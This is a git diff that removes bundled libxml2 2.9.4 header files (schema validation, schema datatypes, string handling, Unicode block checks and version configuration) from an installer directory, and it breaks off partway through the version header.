xmlSchemaValidCtxtGetOptions(xmlSchemaValidCtxtPtr ctxt); - -XMLPUBFUN xmlSchemaValidCtxtPtr XMLCALL - xmlSchemaNewValidCtxt (xmlSchemaPtr schema); -XMLPUBFUN void XMLCALL - xmlSchemaFreeValidCtxt (xmlSchemaValidCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlSchemaValidateDoc (xmlSchemaValidCtxtPtr ctxt, - xmlDocPtr instance); -XMLPUBFUN int XMLCALL - xmlSchemaValidateOneElement (xmlSchemaValidCtxtPtr ctxt, - xmlNodePtr elem); -XMLPUBFUN int XMLCALL - xmlSchemaValidateStream (xmlSchemaValidCtxtPtr ctxt, - xmlParserInputBufferPtr input, - xmlCharEncoding enc, - xmlSAXHandlerPtr sax, - void *user_data); -XMLPUBFUN int XMLCALL - xmlSchemaValidateFile (xmlSchemaValidCtxtPtr ctxt, - const char * filename, - int options); - -XMLPUBFUN xmlParserCtxtPtr XMLCALL - xmlSchemaValidCtxtGetParserCtxt(xmlSchemaValidCtxtPtr ctxt); - -/* - * Interface to insert Schemas SAX validation in a SAX stream - */ -typedef struct _xmlSchemaSAXPlug xmlSchemaSAXPlugStruct; -typedef xmlSchemaSAXPlugStruct *xmlSchemaSAXPlugPtr; - -XMLPUBFUN xmlSchemaSAXPlugPtr XMLCALL - xmlSchemaSAXPlug (xmlSchemaValidCtxtPtr ctxt, - xmlSAXHandlerPtr *sax, - void **user_data); -XMLPUBFUN int XMLCALL - xmlSchemaSAXUnplug (xmlSchemaSAXPlugPtr plug); - - -XMLPUBFUN void XMLCALL - xmlSchemaValidateSetLocator (xmlSchemaValidCtxtPtr vctxt, - xmlSchemaValidityLocatorFunc f, - void *ctxt); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_SCHEMAS_ENABLED */ -#endif /* __XML_SCHEMA_H__ */ diff --git a/installer/libxml2/include/libxml/xmlschemastypes.h b/installer/libxml2/include/libxml/xmlschemastypes.h deleted file mode 100644 index 35d48d4..0000000 --- a/installer/libxml2/include/libxml/xmlschemastypes.h +++ /dev/null @@ -1,151 +0,0 @@ -/* - * Summary: implementation of XML Schema Datatypes - * Description: module providing the XML Schema Datatypes implementation - * both definition and validity checking - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - - -#ifndef __XML_SCHEMA_TYPES_H__ -#define __XML_SCHEMA_TYPES_H__ - -#include - -#ifdef LIBXML_SCHEMAS_ENABLED - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef enum { - XML_SCHEMA_WHITESPACE_UNKNOWN = 0, - XML_SCHEMA_WHITESPACE_PRESERVE = 1, - XML_SCHEMA_WHITESPACE_REPLACE = 2, - XML_SCHEMA_WHITESPACE_COLLAPSE = 3 -} xmlSchemaWhitespaceValueType; - -XMLPUBFUN void XMLCALL - xmlSchemaInitTypes (void); -XMLPUBFUN void XMLCALL - xmlSchemaCleanupTypes (void); -XMLPUBFUN xmlSchemaTypePtr XMLCALL - xmlSchemaGetPredefinedType (const xmlChar *name, - const xmlChar *ns); -XMLPUBFUN int XMLCALL - xmlSchemaValidatePredefinedType (xmlSchemaTypePtr type, - const xmlChar *value, - xmlSchemaValPtr *val); -XMLPUBFUN int XMLCALL - xmlSchemaValPredefTypeNode (xmlSchemaTypePtr type, - const xmlChar *value, - xmlSchemaValPtr *val, - xmlNodePtr node); -XMLPUBFUN int XMLCALL - xmlSchemaValidateFacet (xmlSchemaTypePtr base, - xmlSchemaFacetPtr facet, - const xmlChar *value, - xmlSchemaValPtr val); -XMLPUBFUN int XMLCALL - xmlSchemaValidateFacetWhtsp (xmlSchemaFacetPtr facet, - xmlSchemaWhitespaceValueType fws, - xmlSchemaValType valType, - const xmlChar *value, - xmlSchemaValPtr val, - xmlSchemaWhitespaceValueType ws); -XMLPUBFUN void XMLCALL - xmlSchemaFreeValue (xmlSchemaValPtr val); -XMLPUBFUN xmlSchemaFacetPtr XMLCALL - xmlSchemaNewFacet (void); -XMLPUBFUN int XMLCALL - xmlSchemaCheckFacet (xmlSchemaFacetPtr facet, - xmlSchemaTypePtr typeDecl, - xmlSchemaParserCtxtPtr ctxt, - const xmlChar *name); -XMLPUBFUN void XMLCALL - xmlSchemaFreeFacet (xmlSchemaFacetPtr facet); -XMLPUBFUN int XMLCALL - xmlSchemaCompareValues (xmlSchemaValPtr x, - xmlSchemaValPtr y); -XMLPUBFUN xmlSchemaTypePtr XMLCALL - xmlSchemaGetBuiltInListSimpleTypeItemType (xmlSchemaTypePtr type); -XMLPUBFUN int XMLCALL - xmlSchemaValidateListSimpleTypeFacet (xmlSchemaFacetPtr facet, - const xmlChar *value, - unsigned long actualLen, - unsigned long *expectedLen); -XMLPUBFUN xmlSchemaTypePtr XMLCALL - xmlSchemaGetBuiltInType (xmlSchemaValType type); -XMLPUBFUN int XMLCALL - xmlSchemaIsBuiltInTypeFacet (xmlSchemaTypePtr type, - int facetType); -XMLPUBFUN xmlChar * XMLCALL - xmlSchemaCollapseString (const xmlChar *value); -XMLPUBFUN xmlChar * XMLCALL - xmlSchemaWhiteSpaceReplace (const xmlChar *value); -XMLPUBFUN unsigned long XMLCALL - xmlSchemaGetFacetValueAsULong (xmlSchemaFacetPtr facet); -XMLPUBFUN int XMLCALL - xmlSchemaValidateLengthFacet (xmlSchemaTypePtr type, - xmlSchemaFacetPtr facet, - const xmlChar *value, - xmlSchemaValPtr val, - unsigned long *length); -XMLPUBFUN int XMLCALL - xmlSchemaValidateLengthFacetWhtsp(xmlSchemaFacetPtr facet, - xmlSchemaValType valType, - const xmlChar *value, - xmlSchemaValPtr val, - unsigned long *length, - xmlSchemaWhitespaceValueType ws); -XMLPUBFUN int XMLCALL - xmlSchemaValPredefTypeNodeNoNorm(xmlSchemaTypePtr type, - const xmlChar *value, - xmlSchemaValPtr *val, - xmlNodePtr node); -XMLPUBFUN int XMLCALL - xmlSchemaGetCanonValue (xmlSchemaValPtr val, - const xmlChar **retValue); -XMLPUBFUN int XMLCALL - xmlSchemaGetCanonValueWhtsp (xmlSchemaValPtr val, - const xmlChar **retValue, - xmlSchemaWhitespaceValueType ws); -XMLPUBFUN int XMLCALL - xmlSchemaValueAppend (xmlSchemaValPtr prev, - xmlSchemaValPtr cur); -XMLPUBFUN xmlSchemaValPtr XMLCALL - xmlSchemaValueGetNext (xmlSchemaValPtr cur); -XMLPUBFUN const xmlChar * XMLCALL - xmlSchemaValueGetAsString (xmlSchemaValPtr val); -XMLPUBFUN int XMLCALL - xmlSchemaValueGetAsBoolean (xmlSchemaValPtr val); -XMLPUBFUN xmlSchemaValPtr XMLCALL - xmlSchemaNewStringValue (xmlSchemaValType type, - const xmlChar *value); -XMLPUBFUN xmlSchemaValPtr XMLCALL - xmlSchemaNewNOTATIONValue (const xmlChar *name, - const xmlChar *ns); -XMLPUBFUN xmlSchemaValPtr XMLCALL - xmlSchemaNewQNameValue (const xmlChar *namespaceName, - const xmlChar *localName); -XMLPUBFUN int XMLCALL - xmlSchemaCompareValuesWhtsp (xmlSchemaValPtr x, - xmlSchemaWhitespaceValueType xws, - xmlSchemaValPtr y, - xmlSchemaWhitespaceValueType yws); -XMLPUBFUN xmlSchemaValPtr XMLCALL - xmlSchemaCopyValue (xmlSchemaValPtr val); -XMLPUBFUN xmlSchemaValType XMLCALL - xmlSchemaGetValType (xmlSchemaValPtr val); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_SCHEMAS_ENABLED */ -#endif /* __XML_SCHEMA_TYPES_H__ */ diff --git a/installer/libxml2/include/libxml/xmlstring.h b/installer/libxml2/include/libxml/xmlstring.h deleted file mode 100644 index 2d0b2d1..0000000 --- a/installer/libxml2/include/libxml/xmlstring.h +++ /dev/null @@ -1,140 +0,0 @@ -/* - * Summary: set of routines to process strings - * Description: type and interfaces needed for the internal string handling - * of the library, especially UTF8 processing. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_STRING_H__ -#define __XML_STRING_H__ - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlChar: - * - * This is a basic byte in an UTF-8 encoded string. - * It's unsigned allowing to pinpoint case where char * are assigned - * to xmlChar * (possibly making serialization back impossible). - */ -typedef unsigned char xmlChar; - -/** - * BAD_CAST: - * - * Macro to cast a string to an xmlChar * when one know its safe. - */ -#define BAD_CAST (xmlChar *) - -/* - * xmlChar handling - */ -XMLPUBFUN xmlChar * XMLCALL - xmlStrdup (const xmlChar *cur); -XMLPUBFUN xmlChar * XMLCALL - xmlStrndup (const xmlChar *cur, - int len); -XMLPUBFUN xmlChar * XMLCALL - xmlCharStrndup (const char *cur, - int len); -XMLPUBFUN xmlChar * XMLCALL - xmlCharStrdup (const char *cur); -XMLPUBFUN xmlChar * XMLCALL - xmlStrsub (const xmlChar *str, - int start, - int len); -XMLPUBFUN const xmlChar * XMLCALL - xmlStrchr (const xmlChar *str, - xmlChar val); -XMLPUBFUN const xmlChar * XMLCALL - xmlStrstr (const xmlChar *str, - const xmlChar *val); -XMLPUBFUN const xmlChar * XMLCALL - xmlStrcasestr (const xmlChar *str, - const xmlChar *val); -XMLPUBFUN int XMLCALL - xmlStrcmp (const xmlChar *str1, - const xmlChar *str2); -XMLPUBFUN int XMLCALL - xmlStrncmp (const xmlChar *str1, - const xmlChar *str2, - int len); -XMLPUBFUN int XMLCALL - xmlStrcasecmp (const xmlChar *str1, - const xmlChar *str2); -XMLPUBFUN int XMLCALL - xmlStrncasecmp (const xmlChar *str1, - const xmlChar *str2, - int len); -XMLPUBFUN int XMLCALL - xmlStrEqual (const xmlChar *str1, - const xmlChar *str2); -XMLPUBFUN int XMLCALL - xmlStrQEqual (const xmlChar *pref, - const xmlChar *name, - const xmlChar *str); -XMLPUBFUN int XMLCALL - xmlStrlen (const xmlChar *str); -XMLPUBFUN xmlChar * XMLCALL - xmlStrcat (xmlChar *cur, - const xmlChar *add); -XMLPUBFUN xmlChar * XMLCALL - xmlStrncat (xmlChar *cur, - const xmlChar *add, - int len); -XMLPUBFUN xmlChar * XMLCALL - xmlStrncatNew (const xmlChar *str1, - const xmlChar *str2, - int len); -XMLPUBFUN int XMLCALL - xmlStrPrintf (xmlChar *buf, - int len, - const char *msg, - ...) LIBXML_ATTR_FORMAT(3,4); -XMLPUBFUN int XMLCALL - xmlStrVPrintf (xmlChar *buf, - int len, - const char *msg, - va_list ap) LIBXML_ATTR_FORMAT(3,0); - -XMLPUBFUN int XMLCALL - xmlGetUTF8Char (const unsigned char *utf, - int *len); -XMLPUBFUN int XMLCALL - xmlCheckUTF8 (const unsigned char *utf); -XMLPUBFUN int XMLCALL - xmlUTF8Strsize (const xmlChar *utf, - int len); -XMLPUBFUN xmlChar * XMLCALL - xmlUTF8Strndup (const xmlChar *utf, - int len); -XMLPUBFUN const xmlChar * XMLCALL - xmlUTF8Strpos (const xmlChar *utf, - int pos); -XMLPUBFUN int XMLCALL - xmlUTF8Strloc (const xmlChar *utf, - const xmlChar *utfchar); -XMLPUBFUN xmlChar * XMLCALL - xmlUTF8Strsub (const xmlChar *utf, - int start, - int len); -XMLPUBFUN int XMLCALL - xmlUTF8Strlen (const xmlChar *utf); -XMLPUBFUN int XMLCALL - xmlUTF8Size (const xmlChar *utf); -XMLPUBFUN int XMLCALL - xmlUTF8Charcmp (const xmlChar *utf1, - const xmlChar *utf2); - -#ifdef __cplusplus -} -#endif -#endif /* __XML_STRING_H__ */ diff --git a/installer/libxml2/include/libxml/xmlunicode.h b/installer/libxml2/include/libxml/xmlunicode.h deleted file mode 100644 index 01ac8b6..0000000 --- a/installer/libxml2/include/libxml/xmlunicode.h +++ /dev/null @@ -1,202 +0,0 @@ -/* - * Summary: Unicode character APIs - * Description: API for the Unicode character APIs - * - * This file is automatically generated from the - * UCS description files of the Unicode Character Database - * http://www.unicode.org/Public/4.0-Update1/UCD-4.0.1.html - * using the genUnicode.py Python script. - * - * Generation date: Mon Mar 27 11:09:52 2006 - * Sources: Blocks-4.0.1.txt UnicodeData-4.0.1.txt - * Author: Daniel Veillard - */ - -#ifndef __XML_UNICODE_H__ -#define __XML_UNICODE_H__ - -#include - -#ifdef LIBXML_UNICODE_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -XMLPUBFUN int XMLCALL xmlUCSIsAegeanNumbers (int code); -XMLPUBFUN int XMLCALL xmlUCSIsAlphabeticPresentationForms (int code); -XMLPUBFUN int XMLCALL xmlUCSIsArabic (int code); -XMLPUBFUN int XMLCALL xmlUCSIsArabicPresentationFormsA (int code); -XMLPUBFUN int XMLCALL xmlUCSIsArabicPresentationFormsB (int code); -XMLPUBFUN int XMLCALL xmlUCSIsArmenian (int code); -XMLPUBFUN int XMLCALL xmlUCSIsArrows (int code); -XMLPUBFUN int XMLCALL xmlUCSIsBasicLatin (int code); -XMLPUBFUN int XMLCALL xmlUCSIsBengali (int code); -XMLPUBFUN int XMLCALL xmlUCSIsBlockElements (int code); -XMLPUBFUN int XMLCALL xmlUCSIsBopomofo (int code); -XMLPUBFUN int XMLCALL xmlUCSIsBopomofoExtended (int code); -XMLPUBFUN int XMLCALL xmlUCSIsBoxDrawing (int code); -XMLPUBFUN int XMLCALL xmlUCSIsBraillePatterns (int code); -XMLPUBFUN int XMLCALL xmlUCSIsBuhid (int code); -XMLPUBFUN int XMLCALL xmlUCSIsByzantineMusicalSymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCJKCompatibility (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCJKCompatibilityForms (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCJKCompatibilityIdeographs (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCJKCompatibilityIdeographsSupplement (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCJKRadicalsSupplement (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCJKSymbolsandPunctuation (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCJKUnifiedIdeographs (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCJKUnifiedIdeographsExtensionA (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCJKUnifiedIdeographsExtensionB (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCherokee (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCombiningDiacriticalMarks (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCombiningDiacriticalMarksforSymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCombiningHalfMarks (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCombiningMarksforSymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsControlPictures (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCurrencySymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCypriotSyllabary (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCyrillic (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCyrillicSupplement (int code); -XMLPUBFUN int XMLCALL xmlUCSIsDeseret (int code); -XMLPUBFUN int XMLCALL xmlUCSIsDevanagari (int code); -XMLPUBFUN int XMLCALL xmlUCSIsDingbats (int code); -XMLPUBFUN int XMLCALL xmlUCSIsEnclosedAlphanumerics (int code); -XMLPUBFUN int XMLCALL xmlUCSIsEnclosedCJKLettersandMonths (int code); -XMLPUBFUN int XMLCALL xmlUCSIsEthiopic (int code); -XMLPUBFUN int XMLCALL xmlUCSIsGeneralPunctuation (int code); -XMLPUBFUN int XMLCALL xmlUCSIsGeometricShapes (int code); -XMLPUBFUN int XMLCALL xmlUCSIsGeorgian (int code); -XMLPUBFUN int XMLCALL xmlUCSIsGothic (int code); -XMLPUBFUN int XMLCALL xmlUCSIsGreek (int code); -XMLPUBFUN int XMLCALL xmlUCSIsGreekExtended (int code); -XMLPUBFUN int XMLCALL xmlUCSIsGreekandCoptic (int code); -XMLPUBFUN int XMLCALL xmlUCSIsGujarati (int code); -XMLPUBFUN int XMLCALL xmlUCSIsGurmukhi (int code); -XMLPUBFUN int XMLCALL xmlUCSIsHalfwidthandFullwidthForms (int code); -XMLPUBFUN int XMLCALL xmlUCSIsHangulCompatibilityJamo (int code); -XMLPUBFUN int XMLCALL xmlUCSIsHangulJamo (int code); -XMLPUBFUN int XMLCALL xmlUCSIsHangulSyllables (int code); -XMLPUBFUN int XMLCALL xmlUCSIsHanunoo (int code); -XMLPUBFUN int XMLCALL xmlUCSIsHebrew (int code); -XMLPUBFUN int XMLCALL xmlUCSIsHighPrivateUseSurrogates (int code); -XMLPUBFUN int XMLCALL xmlUCSIsHighSurrogates (int code); -XMLPUBFUN int XMLCALL xmlUCSIsHiragana (int code); -XMLPUBFUN int XMLCALL xmlUCSIsIPAExtensions (int code); -XMLPUBFUN int XMLCALL xmlUCSIsIdeographicDescriptionCharacters (int code); -XMLPUBFUN int XMLCALL xmlUCSIsKanbun (int code); -XMLPUBFUN int XMLCALL xmlUCSIsKangxiRadicals (int code); -XMLPUBFUN int XMLCALL xmlUCSIsKannada (int code); -XMLPUBFUN int XMLCALL xmlUCSIsKatakana (int code); -XMLPUBFUN int XMLCALL xmlUCSIsKatakanaPhoneticExtensions (int code); -XMLPUBFUN int XMLCALL xmlUCSIsKhmer (int code); -XMLPUBFUN int XMLCALL xmlUCSIsKhmerSymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLao (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLatin1Supplement (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLatinExtendedA (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLatinExtendedB (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLatinExtendedAdditional (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLetterlikeSymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLimbu (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLinearBIdeograms (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLinearBSyllabary (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLowSurrogates (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMalayalam (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMathematicalAlphanumericSymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMathematicalOperators (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMiscellaneousMathematicalSymbolsA (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMiscellaneousMathematicalSymbolsB (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMiscellaneousSymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMiscellaneousSymbolsandArrows (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMiscellaneousTechnical (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMongolian (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMusicalSymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMyanmar (int code); -XMLPUBFUN int XMLCALL xmlUCSIsNumberForms (int code); -XMLPUBFUN int XMLCALL xmlUCSIsOgham (int code); -XMLPUBFUN int XMLCALL xmlUCSIsOldItalic (int code); -XMLPUBFUN int XMLCALL xmlUCSIsOpticalCharacterRecognition (int code); -XMLPUBFUN int XMLCALL xmlUCSIsOriya (int code); -XMLPUBFUN int XMLCALL xmlUCSIsOsmanya (int code); -XMLPUBFUN int XMLCALL xmlUCSIsPhoneticExtensions (int code); -XMLPUBFUN int XMLCALL xmlUCSIsPrivateUse (int code); -XMLPUBFUN int XMLCALL xmlUCSIsPrivateUseArea (int code); -XMLPUBFUN int XMLCALL xmlUCSIsRunic (int code); -XMLPUBFUN int XMLCALL xmlUCSIsShavian (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSinhala (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSmallFormVariants (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSpacingModifierLetters (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSpecials (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSuperscriptsandSubscripts (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSupplementalArrowsA (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSupplementalArrowsB (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSupplementalMathematicalOperators (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSupplementaryPrivateUseAreaA (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSupplementaryPrivateUseAreaB (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSyriac (int code); -XMLPUBFUN int XMLCALL xmlUCSIsTagalog (int code); -XMLPUBFUN int XMLCALL xmlUCSIsTagbanwa (int code); -XMLPUBFUN int XMLCALL xmlUCSIsTags (int code); -XMLPUBFUN int XMLCALL xmlUCSIsTaiLe (int code); -XMLPUBFUN int XMLCALL xmlUCSIsTaiXuanJingSymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsTamil (int code); -XMLPUBFUN int XMLCALL xmlUCSIsTelugu (int code); -XMLPUBFUN int XMLCALL xmlUCSIsThaana (int code); -XMLPUBFUN int XMLCALL xmlUCSIsThai (int code); -XMLPUBFUN int XMLCALL xmlUCSIsTibetan (int code); -XMLPUBFUN int XMLCALL xmlUCSIsUgaritic (int code); -XMLPUBFUN int XMLCALL xmlUCSIsUnifiedCanadianAboriginalSyllabics (int code); -XMLPUBFUN int XMLCALL xmlUCSIsVariationSelectors (int code); -XMLPUBFUN int XMLCALL xmlUCSIsVariationSelectorsSupplement (int code); -XMLPUBFUN int XMLCALL xmlUCSIsYiRadicals (int code); -XMLPUBFUN int XMLCALL xmlUCSIsYiSyllables (int code); -XMLPUBFUN int XMLCALL xmlUCSIsYijingHexagramSymbols (int code); - -XMLPUBFUN int XMLCALL xmlUCSIsBlock (int code, const char *block); - -XMLPUBFUN int XMLCALL xmlUCSIsCatC (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatCc (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatCf (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatCo (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatCs (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatL (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatLl (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatLm (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatLo (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatLt (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatLu (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatM (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatMc (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatMe (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatMn (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatN (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatNd (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatNl (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatNo (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatP (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatPc (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatPd (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatPe (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatPf (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatPi (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatPo (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatPs (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatS (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatSc (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatSk (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatSm (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatSo (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatZ (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatZl (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatZp (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatZs (int code); - -XMLPUBFUN int XMLCALL xmlUCSIsCat (int code, const char *cat); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_UNICODE_ENABLED */ - -#endif /* __XML_UNICODE_H__ */ diff --git a/installer/libxml2/include/libxml/xmlversion.h b/installer/libxml2/include/libxml/xmlversion.h deleted file mode 100644 index 90efc74..0000000 --- a/installer/libxml2/include/libxml/xmlversion.h +++ /dev/null @@ -1,489 +0,0 @@ -/* - * Summary: compile-time version informations - * Description: compile-time version informations for the XML library - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_VERSION_H__ -#define __XML_VERSION_H__ - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * use those to be sure nothing nasty will happen if - * your library and includes mismatch - */ -#ifndef LIBXML2_COMPILING_MSCCDEF -XMLPUBFUN void XMLCALL xmlCheckVersion(int version); -#endif /* LIBXML2_COMPILING_MSCCDEF */ - -/** - * LIBXML_DOTTED_VERSION: - * - * the version string like "1.2.3" - */ -#define LIBXML_DOTTED_VERSION "2.9.4" - -/** - * LIBXML_VERSION: - * - * the version number: 1.2.3 value is 10203 - */ -#define LIBXML_VERSION 20904 - -/** - * LIBXML_VERSION_STRING: - * - * the version number string, 1.2.3 value is "10203" - */ -#define LIBXML_VERSION_STRING "20904" - -/** - * LIBXML_VERSION_EXTRA: - * - * extra version information, used to show a CVS compilation - */ -#define LIBXML_VERSION_EXTRA "" - -/** - * LIBXML_TEST_VERSION: - * - * Macro to check that the libxml version in use is compatible with - * the version the software has been compiled against - */ -#define LIBXML_TEST_VERSION xmlCheckVersion(20904); - -#ifndef VMS -#if 0 -/** - * WITH_TRIO: - * - * defined if the trio support need to be configured in - */ -#define WITH_TRIO -#else -/** - * WITHOUT_TRIO: - * - * defined if the trio support should not be configured in - */ -#define WITHOUT_TRIO -#endif -#else /* VMS */ -/** - * WITH_TRIO: - * - * defined if the trio support need to be configured in - */ -#define WITH_TRIO 1 -#endif /* VMS */ - -/** - * LIBXML_THREAD_ENABLED: - * - * Whether the thread support is configured in - */ -#if 0 -#if defined(_REENTRANT) || defined(__MT__) || \ - (defined(_POSIX_C_SOURCE) && (_POSIX_C_SOURCE - 0 >= 199506L)) -#define LIBXML_THREAD_ENABLED -#endif -#endif - -/** - * LIBXML_THREAD_ALLOC_ENABLED: - * - * Whether the allocation hooks are per-thread - */ -#if 0 -#define LIBXML_THREAD_ALLOC_ENABLED -#endif - -/** - * LIBXML_TREE_ENABLED: - * - * Whether the DOM like tree manipulation API support is configured in - */ -#if 0 -#define LIBXML_TREE_ENABLED -#endif - -/** - * LIBXML_OUTPUT_ENABLED: - * - * Whether the serialization/saving support is configured in - */ -#if 1 -#define LIBXML_OUTPUT_ENABLED -#endif - -/** - * LIBXML_PUSH_ENABLED: - * - * Whether the push parsing interfaces are configured in - */ -#if 0 -#define LIBXML_PUSH_ENABLED -#endif - -/** - * LIBXML_READER_ENABLED: - * - * Whether the xmlReader parsing interface is configured in - */ -#if 0 -#define LIBXML_READER_ENABLED -#endif - -/** - * LIBXML_PATTERN_ENABLED: - * - * Whether the xmlPattern node selection interface is configured in - */ -#if 0 -#define LIBXML_PATTERN_ENABLED -#endif - -/** - * LIBXML_WRITER_ENABLED: - * - * Whether the xmlWriter saving interface is configured in - */ -#if 0 -#define LIBXML_WRITER_ENABLED -#endif - -/** - * LIBXML_SAX1_ENABLED: - * - * Whether the older SAX1 interface is configured in - */ -#if 0 -#define LIBXML_SAX1_ENABLED -#endif - -/** - * LIBXML_FTP_ENABLED: - * - * Whether the FTP support is configured in - */ -#if 0 -#define LIBXML_FTP_ENABLED -#endif - -/** - * LIBXML_HTTP_ENABLED: - * - * Whether the HTTP support is configured in - */ -#if 0 -#define LIBXML_HTTP_ENABLED -#endif - -/** - * LIBXML_VALID_ENABLED: - * - * Whether the DTD validation support is configured in - */ -#if 0 -#define LIBXML_VALID_ENABLED -#endif - -/** - * LIBXML_HTML_ENABLED: - * - * Whether the HTML support is configured in - */ -#if 0 -#define LIBXML_HTML_ENABLED -#endif - -/** - * LIBXML_LEGACY_ENABLED: - * - * Whether the deprecated APIs are compiled in for compatibility - */ -#if 0 -#define LIBXML_LEGACY_ENABLED -#endif - -/** - * LIBXML_C14N_ENABLED: - * - * Whether the Canonicalization support is configured in - */ -#if 0 -#define LIBXML_C14N_ENABLED -#endif - -/** - * LIBXML_CATALOG_ENABLED: - * - * Whether the Catalog support is configured in - */ -#if 0 -#define LIBXML_CATALOG_ENABLED -#endif - -/** - * LIBXML_DOCB_ENABLED: - * - * Whether the SGML Docbook support is configured in - */ -#if 0 -#define LIBXML_DOCB_ENABLED -#endif - -/** - * LIBXML_XPATH_ENABLED: - * - * Whether XPath is configured in - */ -#if 0 -#define LIBXML_XPATH_ENABLED -#endif - -/** - * LIBXML_XPTR_ENABLED: - * - * Whether XPointer is configured in - */ -#if 0 -#define LIBXML_XPTR_ENABLED -#endif - -/** - * LIBXML_XINCLUDE_ENABLED: - * - * Whether XInclude is configured in - */ -#if 0 -#define LIBXML_XINCLUDE_ENABLED -#endif - -/** - * LIBXML_ICONV_ENABLED: - * - * Whether iconv support is available - */ -#if 0 -#define LIBXML_ICONV_ENABLED -#endif - -/** - * LIBXML_ICU_ENABLED: - * - * Whether icu support is available - */ -#if 0 -#define LIBXML_ICU_ENABLED -#endif - -/** - * LIBXML_ISO8859X_ENABLED: - * - * Whether ISO-8859-* support is made available in case iconv is not - */ -#if 0 -#define LIBXML_ISO8859X_ENABLED -#endif - -/** - * LIBXML_DEBUG_ENABLED: - * - * Whether Debugging module is configured in - */ -#if 